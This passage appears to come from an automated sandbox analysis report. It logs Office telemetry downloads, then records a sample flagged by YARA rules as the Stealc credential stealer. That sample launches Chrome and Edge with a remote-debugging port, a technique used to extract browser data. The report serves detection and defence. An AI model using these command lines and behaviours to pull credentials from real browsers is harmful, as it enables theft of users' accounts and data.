2024-11-28 07:57:17 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.8	49944	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:17 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:17 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:17 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: fe0e881e-601e-0050-1a3a-402c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075717Z-174f7845968kdththC1EWRzvxn0000000afg0000000062tc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:17 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.8	49945	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:18 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:18 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:18 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 3d9c3aa7-901e-00ac-5891-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075718Z-174f7845968ljs8phC1EWRe6en0000000y0000000000522v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:18 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.8	49946	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:18 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:18 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:18 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 47663499-e01e-0051-6891-3f84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075718Z-174f7845968swgbqhC1EWRmnb40000000y5g00000000dgts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:18 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.8	49948	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:19 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:19 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:19 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b512d228-e01e-0099-0f05-41da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075719Z-174f7845968pght8hC1EWRyvxg0000000190000000006qtn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:19 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.8	49949	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:19 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:20 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:19 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 3452a663-f01e-003c-1f91-3f8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075719Z-174f7845968j6t2phC1EWRcfe80000000y6g00000000c0ta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:20 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.8	49947	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:20 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:20 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:20 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: ebed6b5e-401e-0015-4f72-400e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075720Z-174f7845968cdxdrhC1EWRg0en0000000y0000000000bvcn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:20 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.8	49950	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:20 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:21 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:20 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 254393c3-001e-0066-2422-41561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075720Z-174f7845968px8v7hC1EWR08ng0000000ybg000000008trt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:21 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.8	49951	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:20 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:21 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:21 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: ee9d1ea0-001e-00a2-4791-3fd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075721Z-174f7845968frfdmhC1EWRxxbw0000000y40000000009kv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:21 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.8	49952	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:21 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:21 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:21 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: fdde8523-d01e-0028-578c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075721Z-174f7845968px8v7hC1EWR08ng0000000y8g00000000fra7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:21 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.8	49953	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:57:22 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:57:22 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:57:22 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 8d8a3cd7-301e-001f-2922-41aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075722Z-174f7845968frfdmhC1EWRxxbw0000000y40000000009kwm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:57:22 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Target ID:	0
Start time:	02:55:14
Start date:	28/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x5a0000
File size:	1'777'664 bytes
MD5 hash:	938A90B22F4BFE7C0053D9C5DE5826ED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1977949025.00000000005A1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1461137047.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1979495754.000000000133E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:55:25
Start date:	28/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:55:26
Start date:	28/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1156 --field-trial-handle=2140,i,8934189931533326089,15715926864722454120,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:55:36
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:55:36
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
